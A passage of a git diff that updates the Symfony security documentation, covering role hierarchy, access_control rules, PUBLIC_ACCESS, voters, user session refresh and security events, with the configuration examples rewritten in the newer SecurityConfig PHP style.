+                <role id="ROLE_SUPER_ADMIN">ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH</role>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $security->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']);
+            $security->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH']);
+        };
+
+Users with the ``ROLE_ADMIN`` role will also have the ``ROLE_USER`` role.
+Users with ``ROLE_SUPER_ADMIN``, will automatically have ``ROLE_ADMIN``,
+``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from
+``ROLE_ADMIN``).
+
+.. caution::
+
+    For role hierarchy to work, do not use ``$user->getRoles()`` manually.
+    For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
+
+        // BAD - $user->getRoles() will not know about the role hierarchy
+        $hasAccess = in_array('ROLE_ADMIN', $user->getRoles());
+
+        // GOOD - use of the normal security methods
+        $hasAccess = $this->isGranted('ROLE_ADMIN');
+        $this->denyAccessUnlessGranted('ROLE_ADMIN');
+
+.. note::
+
+    The ``role_hierarchy`` values are static - you can't, for example, store the
+    role hierarchy in a database. If you need that, create a custom
+    :doc:`security voter </security/voters>` that looks for the user roles
+    in the database.
+
+.. _security-role-authorization:
+
+Add Code to Deny Access
+~~~~~~~~~~~~~~~~~~~~~~~
+
+There are **two** ways to deny access to something:
+
+#. :ref:`access_control in security.yaml <security-authorization-access-control>`
+   allows you to protect URL patterns (e.g. ``/admin/*``). Simpler, but less flexible;
+
+#. :ref:`in your controller (or other code) <security-securing-controller>`.
+
+.. _security-authorization-access-control:
+
+Securing URL patterns (access_control)
+......................................
+
+The most basic way to secure part of your app is to secure an entire URL pattern
+in ``security.yaml``. For example, to require ``ROLE_ADMIN`` for all URLs that
+start with ``/admin``, you can:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                # ...
+                main:
+                    # ...
+
+            access_control:
+                # require ROLE_ADMIN for /admin*
+                - { path: '^/admin', roles: ROLE_ADMIN }
+
+                # or require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+                - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
+
+                # the 'path' value can be any valid regular expression
+                # (this one will match URLs like /api/post/7298 and /api/comment/528491)
                 - { path: ^/api/(post|comment)/\d+$, roles: ROLE_USER }
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -558,27 +2073,32 @@ start with ``/admin``, you can:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+
             // ...
+            $security->firewall('main')
+            // ...
+            ;
 
-            'firewalls' => [
-                // ...
-                'main' => [
-                    // ...
-                ],
-            ],
-            'access_control' => [
-                // require ROLE_ADMIN for /admin*
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-
-                // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
-                ['path' => '^/admin', 'roles' => ['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']],
-
-                // the 'path' value can be any valid regular expression
-                // (this one will match URLs like /api/post/7298 and /api/comment/528491)
-                ['path' => '^/api/(post|comment)/\d+$', 'roles' => 'ROLE_USER'],
-            ],
-        ]);
+            // require ROLE_ADMIN for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+
+            // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']);
+
+            // the 'path' value can be any valid regular expression
+            // (this one will match URLs like /api/post/7298 and /api/comment/528491)
+            $security->accessControl()
+                ->path('^/api/(post|comment)/\d+$')
+                ->roles(['ROLE_USER']);
+        };
 
 You can define as many URL patterns as you need - each is a regular expression.
 **BUT**, only **one** will be matched per request: Symfony starts at the top of
@@ -602,7 +2122,7 @@ the list and stops when it finds the first match:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -622,14 +2142,19 @@ the list and stops when it finds the first match:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'access_control' => [
-                ['path' => '^/admin/users', 'roles' => 'ROLE_SUPER_ADMIN'],
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-            ],
-        ]);
+            $security->accessControl()
+                ->path('^/admin/users')
+                ->roles(['ROLE_SUPER_ADMIN']);
+
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+        };
 
 Prepending the path with ``^`` means that only URLs *beginning* with the
 pattern are matched. For example, a path of ``/admin`` (without the ``^``)
@@ -649,7 +2174,7 @@ You can deny access from inside a controller::
     // src/Controller/AdminController.php
     // ...
 
-    public function adminDashboard()
+    public function adminDashboard(): Response
     {
         $this->denyAccessUnlessGranted('ROLE_ADMIN');
 
@@ -671,187 +2196,109 @@ will happen:
 
 .. _security-securing-controller-annotations:
 
-Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
-using annotations:
-
-.. code-block:: diff
-
-    // src/Controller/AdminController.php
-    // ...
-
-    + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
-
-    + /**
-    +  * Require ROLE_ADMIN for *every* controller method in this class.
-    +  *
-    +  * @IsGranted("ROLE_ADMIN")
-    +  */
-    class AdminController extends AbstractController
-    {
-    +     /**
-    +      * Require ROLE_ADMIN for only this controller method.
-    +      *
-    +      * @IsGranted("ROLE_ADMIN")
-    +      */
-        public function adminDashboard()
-        {
-            // ...
-        }
-    }
-
-For more information, see the `FrameworkExtraBundle documentation`_.
-
-.. _security-template:
-
-Access Control in Templates
-...........................
-
-If you want to check if the current user has a certain role, you can use
-the built-in ``is_granted()`` helper function in any Twig template:
-
-.. code-block:: html+twig
-
-    {% if is_granted('ROLE_ADMIN') %}
-        <a href="...">Delete</a>
-    {% endif %}
-
-Securing other Services
-.......................
-
-See :doc:`/security/securing_services`.
-
-Setting Individual User Permissions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Most applications require more specific access rules. For instance, a user
-should be able to only edit their *own* comments on a blog. Voters allow you
-to write *whatever* business logic you need to determine access. Using
-these voters is similar to the role-based access checks implemented in the
-previous chapters. Read :doc:`/security/voters` to learn how to implement
-your own voter.
-
-Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you *only* want to check if a user is logged in (you don't care about roles),
-you have two options. First, if you've given *every* user ``ROLE_USER``, you can
-check for that role. Otherwise, you can use a special "attribute" in place of a
-role::
-
-    // ...
-
-    public function adminDashboard()
-    {
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
-
-        // ...
-    }
-
-You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like
-``access_control`` or in Twig.
-
-``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every
-user that has logged in will have this. Actually, there are some special attributes
-like this:
-
-* ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even
-  if they are logged in because of a "remember me cookie". Even if you don't
-  use the :doc:`remember me functionality </security/remember_me>`,
-  you can use this to check if the user is logged in.
+Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
+using annotations:
 
-* ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``,
-  but stronger. Users who are logged in only because of a "remember me cookie"
-  will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
+.. code-block:: diff
 
-* ``IS_AUTHENTICATED_ANONYMOUSLY``: *All* users (even anonymous ones) have
-  this - this is useful when *whitelisting* URLs to guarantee access - some
-  details are in :doc:`/security/access_control`.
+      // src/Controller/AdminController.php
+      // ...
 
-* ``IS_ANONYMOUS``: *Only* anonymous users are matched by this attribute.
+    + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
 
-* ``IS_REMEMBERED``: *Only* users authenticated using the
-  :doc:`remember me functionality </security/remember_me>`, (i.e. a
-  remember-me cookie).
+    + /**
+    +  * Require ROLE_ADMIN for *every* controller method in this class.
+    +  *
+    +  * @IsGranted("ROLE_ADMIN")
+    +  */
+      class AdminController extends AbstractController
+      {
+    +     /**
+    +      * Require ROLE_ADMIN for only this controller method.
+    +      *
+    +      * @IsGranted("ROLE_ADMIN")
+    +      */
+          public function adminDashboard(): Response
+          {
+              // ...
+          }
+      }
 
-* ``IS_IMPERSONATOR``: When the current user is
-  :doc:`impersonating </security/impersonating_user>` another user in this
-  session, this attribute will match.
+For more information, see the `FrameworkExtraBundle documentation`_.
 
-.. versionadded:: 5.1
+.. _security-template:
 
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
+Access Control in Templates
+...........................
 
-.. _retrieving-the-user-object:
+If you want to check if the current user has a certain role, you can use
+the built-in ``is_granted()`` helper function in any Twig template:
 
-5a) Fetching the User Object
-----------------------------
+.. code-block:: html+twig
 
-After authentication, the ``User`` object of the current user can be accessed
-via the ``getUser()`` shortcut::
+    {% if is_granted('ROLE_ADMIN') %}
+        <a href="...">Delete</a>
+    {% endif %}
 
-    public function index()
-    {
-        // usually you'll want to make sure the user is authenticated first
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+.. _security-isgranted:
 
-        // returns your User object, or null if the user is not authenticated
-        // use inline documentation to tell your editor your exact User class
-        /** @var \App\Entity\User $user */
-        $user = $this->getUser();
+Securing other Services
+.......................
 
-        // Call whatever methods you've added to your User class
-        // For example, if you added a getFirstName() method, you can use that.
-        return new Response('Well hi there '.$user->getFirstName());
-    }
+You can check access *anywhere* in your code by injecting the ``Security``
+service. For example, suppose you have a ``SalesReportManager`` service and you
+want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` role:
 
-5b) Fetching the User from a Service
-------------------------------------
+.. code-block:: diff
 
-If you need to get the logged in user from a service, use the
-:class:`Symfony\\Component\\Security\\Core\\Security` service::
+      // src/SalesReport/SalesReportManager.php
 
-    // src/Service/ExampleService.php
-    // ...
+      // ...
+      use Symfony\Component\Security\Core\Exception\AccessDeniedException;
+    + use Symfony\Component\Security\Core\Security;
 
-    use Symfony\Component\Security\Core\Security;
+      class SalesReportManager
+      {
+    +     private $security;
 
-    class ExampleService
-    {
-        private $security;
+    +     public function __construct(Security $security)
+    +     {
+    +         $this->security = $security;
+    +     }
 
-        public function __construct(Security $security)
-        {
-            // Avoid calling getUser() in the constructor: auth may not
-            // be complete yet. Instead, store the entire Security object.
-            $this->security = $security;
-        }
+          public function generateReport()
+          {
+              $salesData = [];
 
-        public function someMethod()
-        {
-            // returns User object or null if not authenticated
-            $user = $this->security->getUser();
-        }
-    }
+    +         if ($this->security->isGranted('ROLE_SALES_ADMIN')) {
+    +             $salesData['top_secret_numbers'] = rand();
+    +         }
 
-Fetch the User in a Template
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+              // ...
+          }
 
-In a Twig Template the user object is available via the ``app.user`` variable
-thanks to the :ref:`Twig global app variable <twig-app-variable>`:
+          // ...
+      }
 
-.. code-block:: html+twig
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+Symfony will automatically pass the ``security.helper`` to your service
+thanks to autowiring and the ``Security`` type-hint.
 
-    {% if is_granted('IS_AUTHENTICATED_FULLY') %}
-        <p>Email: {{ app.user.email }}</p>
-    {% endif %}
+You can also use a lower-level
+:class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface`
+service. It does the same thing as ``Security``, but allows you to type-hint a
+more-specific interface.
 
-.. _security-logging-out:
+Allowing Unsecured Access (i.e. Anonymous Users)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Logging Out
------------
+When a visitor isn't yet logged in to your website, they are treated as
+"unauthenticated" and don't have any roles. This will block them from
+visiting your pages if you defined an ``access_control`` rule.
 
-To enable logging out, activate the  ``logout`` config parameter under your firewall:
+In the ``access_control`` configuration, you can use the ``PUBLIC_ACCESS``
+security attribute to exclude some routes for unauthenticated access (e.g.
+the login page):
 
 .. configuration-block::
 
@@ -859,16 +2306,15 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
 
         # config/packages/security.yaml
         security:
-            # ...
+            enable_authenticator_manager: true
 
-            firewalls:
-                main:
-                    # ...
-                    logout:
-                        path:   app_logout
+            # ...
+            access_control:
+                # allow unauthenticated users to access the login form
+                - { path: ^/admin/login, roles: PUBLIC_ACCESS }
 
-                        # where to redirect after logout
-                        # target: app_any_route
+                # but require authentication for all other admin routes
+                - { path: ^/admin, roles: ROLE_ADMIN }
 
     .. code-block:: xml
 
@@ -882,121 +2328,181 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
                 http://symfony.com/schema/dic/security
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            <config>
+            <config enable-authenticator-manager="true">
                 <!-- ... -->
 
-                <firewall name="secured_area">
-                    <!-- ... -->
-                    <logout path="app_logout"/>
-                </firewall>
+                <access-control>
+                    <!-- allow unauthenticated users to access the login form -->
+                    <rule path="^/admin/login" role="PUBLIC_ACCESS"/>
+
+                    <!-- but require authentication for all other admin routes -->
+                    <rule path="^/admin" role="ROLE_ADMIN"/>
+                </access-control>
             </config>
         </srv:container>
 
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'secured_area' => [
-                    // ...
-                    'logout' => ['path' => 'app_logout'],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
 
-Next, you'll need to create a route for this URL (but not a controller):
+            // allow unauthenticated users to access the login form
+            $security->accessControl()
+                ->path('^/admin/login')
+                ->roles([AuthenticatedVoter::PUBLIC_ACCESS])
+            ;
 
-.. configuration-block::
+            // but require authentication for all other admin routes
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN'])
+            ;
+        };
 
-    .. code-block:: php-annotations
+Granting Anonymous Users Access in a Custom Voter
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
+If you're using a :doc:`custom voter </security/voters>`, you can allow
+anonymous users access by checking if there is no user set on the token::
 
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+    // src/Security/PostVoter.php
+    namespace App\Security;
 
-        class SecurityController extends AbstractController
+    // ...
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authentication\User\UserInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Voter;
+
+    class PostVoter extends Voter
+    {
+        // ...
+
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
         {
-            /**
-             * @Route("/logout", name="app_logout", methods={"GET"})
-             */
-            public function logout()
-            {
-                // controller can be blank: it will never be executed!
-                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            // ...
+
+            if (!$token->getUser() instanceof UserInterface) {
+                // the user is not authenticated, e.g. only allow them to
+                // see public posts
+                return $subject->isPublic();
             }
         }
+    }
 
-    .. code-block:: yaml
+Setting Individual User Permissions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-        # config/routes.yaml
-        app_logout:
-            path: /logout
-            methods: GET
+Most applications require more specific access rules. For instance, a user
+should be able to only edit their *own* comments on a blog. Voters allow you
+to write *whatever* business logic you need to determine access. Using
+these voters is similar to the role-based access checks implemented in the
+previous chapters. Read :doc:`/security/voters` to learn how to implement
+your own voter.
 
-    .. code-block:: xml
+Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
+If you *only* want to check if a user is logged in (you don't care about roles),
+you have two options. First, if you've given *every* user ``ROLE_USER``, you can
+check for that role. Otherwise, you can use a special "attribute" in place of a
+role::
 
-            <route id="app_logout" path="/logout" methods="GET"/>
-        </routes>
+    // ...
 
-    ..  code-block:: php
+    public function adminDashboard(): Response
+    {
+        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
 
-        // config/routes.php
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+        // ...
+    }
 
-        return function (RoutingConfigurator $routes) {
-            $routes->add('app_logout', '/logout')
-                ->methods(['GET'])
-            ;
-        };
+You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like
+``access_control`` or in Twig.
 
-And that's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
-Symfony will un-authenticate the current user and redirect them.
+``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every
+user that has logged in will have this. Actually, there are some special attributes
+like this:
 
-Customizing Logout
-~~~~~~~~~~~~~~~~~~
+* ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even
+  if they are logged in because of a "remember me cookie". Even if you don't
+  use the :doc:`remember me functionality </security/remember_me>`,
+  you can use this to check if the user is logged in.
+
+* ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``,
+  but stronger. Users who are logged in only because of a "remember me cookie"
+  will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
+
+* ``IS_REMEMBERED``: *Only* users authenticated using the
+  :doc:`remember me functionality </security/remember_me>`, (i.e. a
+  remember-me cookie).
+
+* ``IS_IMPERSONATOR``: When the current user is
+  :doc:`impersonating </security/impersonating_user>` another user in this
+  session, this attribute will match.
 
 .. versionadded:: 5.1
 
-    The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this
-    version, you had to use a
-    :ref:`logout success handler <reference-security-logout-success-handler>`
-    to customize the logout.
+    The ``IS_REMEMBERED`` and ``IS_IMPERSONATOR`` attributes were
+    introduced in Symfony 5.1.
 
-In some cases you need to execute extra logic upon logout (e.g. invalidate
-some tokens) or want to customize what happens after a logout. During
-logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
-is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>`
-to execute custom logic. The following information is available in the
-event class:
+.. deprecated:: 5.3
 
-``getToken()``
-    Returns the security token of the session that is about to be logged
-    out.
-``getRequest()``
-    Returns the current request.
-``getResponse()``
-    Returns a response, if it is already set by a custom listener. Use
-    ``setResponse()`` to configure a custom logout response.
+   The ``IS_ANONYMOUS`` and ``IS_AUTHENTICATED_ANONYMOUSLY`` attributes are
+   deprecated since Symfony 5.3.
+
+.. _user_session_refresh:
+
+Understanding how Users are Refreshed from the Session
+------------------------------------------------------
+
+At the end of every request (unless your firewall is ``stateless``), your
+``User`` object is serialized to the session. At the beginning of the next
+request, it's deserialized and then passed to your user provider to "refresh" it
+(e.g. Doctrine queries for a fresh user).
+
+Then, the two User objects (the original from the session and the refreshed User
+object) are "compared" to see if they are "equal". By default, the core
+``AbstractToken`` class compares the return values of the ``getPassword()``,
+``getSalt()`` and ``getUserIdentifier()`` methods. If any of these are different,
+your user will be logged out. This is a security measure to make sure that malicious
+users can be de-authenticated if core user data changes.
+
+However, in some cases, this process can cause unexpected authentication problems.
+If you're having problems authenticating, it could be that you *are* authenticating
+successfully, but you immediately lose authentication after the first redirect.
+
+In that case, review the serialization logic (e.g. ``SerializableInterface``) on
+you user class (if you have any) to make sure that all the fields necessary are
+serialized.
+
+Comparing Users Manually with EquatableInterface
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Or, if you need more control over the "compare users" process, make your User class
+implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
+Then, your ``isEqualTo()`` method will be called when comparing users instead
+of the core logic.
+
+Security Events
+---------------
 
+During the authentication process, multiple events are dispatched that allow you
+to hook into the process or customize the response sent back to the user. You
+can do this by creating an :doc:`event listener or subscriber </event_dispatcher>`
+for these events.
 
 .. tip::
 
     Every Security firewall has its own event dispatcher
-    (``security.event_dispatcher.FIREWALLNAME``). The logout event is
-    dispatched on both the global and firewall dispatcher. You can register
+    (``security.event_dispatcher.FIREWALLNAME``). Events are dispatched on
+    both the global and the firewall-specific dispatcher. You can register
     on the firewall dispatcher if you want your listener to only be
-    executed for a specific firewall. For instance, if you have an ``api``
+    called for a specific firewall. For instance, if you have an ``api``
     and ``main`` firewall, use this configuration to register only on the
     logout event in the ``main`` firewall:
 
@@ -1051,91 +2557,61 @@ event class:
                     ]);
             };
 
-.. _security-role-hierarchy:
-
-Hierarchical Roles
-------------------
-
-Instead of giving many roles to each user, you can define role inheritance
-rules by creating a role hierarchy:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            role_hierarchy:
-                ROLE_ADMIN:       ROLE_USER
-                ROLE_SUPER_ADMIN: [ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH]
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
+Authentication Events
+~~~~~~~~~~~~~~~~~~~~~
 
-            <config>
-                <!-- ... -->
+.. raw:: html
 
-                <role id="ROLE_ADMIN">ROLE_USER</role>
-                <role id="ROLE_SUPER_ADMIN">ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH</role>
-            </config>
-        </srv:container>
+    <object data="../_images/security/security_events.svg" type="image/svg+xml"></object>
 
-    .. code-block:: php
+:class:`Symfony\\Component\\Security\\Http\\Event\\CheckPassportEvent`
+    Dispatched after the authenticator created the :ref:`security passport <security-passport>`.
+    Listeners of this event do the actual authentication checks (like
+    checking the passport, validating the CSRF token, etc.)
 
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+:class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationTokenCreatedEvent`
+    Dispatched after the passport was validated and the authenticator
+    created the security token (and user). This can be used in advanced use-cases
+    where you need to modify the created token (e.g. for multi factor
+    authentication).
 
-            'role_hierarchy' => [
-                'ROLE_ADMIN'       => 'ROLE_USER',
-                'ROLE_SUPER_ADMIN' => [
-                    'ROLE_ADMIN',
-                    'ROLE_ALLOWED_TO_SWITCH',
-                ],
-            ],
-        ]);
+:class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationSuccessEvent`
+    Dispatched when authentication is nearing success. This is the last
+    event that can make an authentication fail by throwing an
+    ``AuthenticationException``.
 
-Users with the ``ROLE_ADMIN`` role will also have the
-``ROLE_USER`` role. And users with ``ROLE_SUPER_ADMIN``, will automatically have
-``ROLE_ADMIN``, ``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from ``ROLE_ADMIN``).
+:class:`Symfony\\Component\\Security\\Http\\Event\\LoginSuccessEvent`
+    Dispatched after authentication was fully successful. Listeners to this
+    event can modify the response sent back to the user.
 
-For role hierarchy to work, do not try to call ``$user->getRoles()`` manually.
-For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
+:class:`Symfony\\Component\\Security\\Http\\Event\\LoginFailureEvent`
+    Dispatched after an ``AuthenticationException`` was thrown during
+    authentication. Listeners to this event can modify the error response
+    sent back to the user.
 
-    // BAD - $user->getRoles() will not know about the role hierarchy
-    $hasAccess = in_array('ROLE_ADMIN', $user->getRoles());
+Other Events
+~~~~~~~~~~~~
 
-    // GOOD - use of the normal security methods
-    $hasAccess = $this->isGranted('ROLE_ADMIN');
-    $this->denyAccessUnlessGranted('ROLE_ADMIN');
+:class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
+    Dispatched just before a user logs out of your application. See
+    :ref:`security-logging-out`.
 
-.. note::
+:class:`Symfony\\Component\\Security\\Http\\Event\\TokenDeauthenticatedEvent`
+    Dispatched when a user is deauthenticated, for instance because the
+    password was changed. See :ref:`user_session_refresh`.
 
-    The ``role_hierarchy`` values are static - you can't, for example, store the
-    role hierarchy in a database. If you need that, create a custom
-    :doc:`security voter </security/voters>` that looks for the user roles
-    in the database.
+:class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
+    Dispatched after impersonation is completed. See
+    :doc:`/security/impersonating_user`.
 
 Frequently Asked Questions
 --------------------------
 
 **Can I have Multiple Firewalls?**
     Yes! But it's usually not necessary. Each firewall is like a separate security
-    system. And so, unless you have *very* different authentication needs, one
-    firewall usually works well. With :doc:`Guard authentication </security/guard_authentication>`,
-    you can create various, diverse ways of allowing authentication (e.g. form login,
-    API key authentication and LDAP) all under the same firewall.
+    system, being authenticated in one firewall doesn't make you authenticated in
+    another one. One firewall can have multiple diverse ways of allowing
+    authentication (e.g. form login, API key authentication and LDAP).
 
 **Can I Share Authentication Between Firewalls?**
     Yes, but only with some configuration. If you're using multiple firewalls and
@@ -1172,23 +2648,16 @@ Authentication (Identifying/Logging in the User)
 .. toctree::
     :maxdepth: 1
 
-    security/experimental_authenticators
-    security/form_login_setup
-    security/reset_password
-    security/json_login_setup
-    security/guard_authentication
-    security/password_migration
-    security/auth_providers
-    security/user_provider
+    security/passwords
     security/ldap
     security/remember_me
     security/impersonating_user
     security/user_checkers
-    security/named_encoders
-    security/multiple_guard_authenticators
     security/firewall_restriction
     security/csrf
-    security/custom_authentication_provider
+    security/form_login
+    security/custom_authenticator
+    security/entry_point
 
 Authorization (Denying Access)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1197,13 +2666,16 @@ Authorization (Denying Access)
     :maxdepth: 1
 
     security/voters
-    security/securing_services
     security/access_control
     security/access_denied_handler
-    security/acl
     security/force_https
 
+.. _`5.2 version of this documentation`: https://symfony.com/doc/5.2/security.html
 .. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
-.. _`Symfony Security screencast series`: https://symfonycasts.com/screencast/symfony-security
+.. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
+.. _`brute force login attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
+.. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
+.. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
diff --git a/security/_supportsToken.rst.inc b/security/_supportsToken.rst.inc
deleted file mode 100644
index e4403123a01..00000000000
--- a/security/_supportsToken.rst.inc
+++ /dev/null
@@ -1,10 +0,0 @@
-After Symfony calls ``createToken()``, it will then call ``supportsToken()``
-on your class (and any other authentication listeners) to figure out who should
-handle the token. This is just a way to allow several authentication mechanisms
-to be used for the same firewall (that way, you can for instance first try
-to authenticate the user via a certificate or an API key and fall back to
-a form login).
-
-Essentially, you need to make sure that this method returns ``true`` for a
-token that has been created by ``createToken()``. Your logic should probably
-look exactly like this example.
diff --git a/security/access_control.rst b/security/access_control.rst
index 225687c02f6..0f32e30b427 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -43,8 +43,8 @@ Take the following ``access_control`` entries as an example:
         security:
             # ...
             access_control:
-                - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_PORT, ip: 127.0.0.1, port: 8080 }
+                - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_HOST, host: symfony\.com$ }
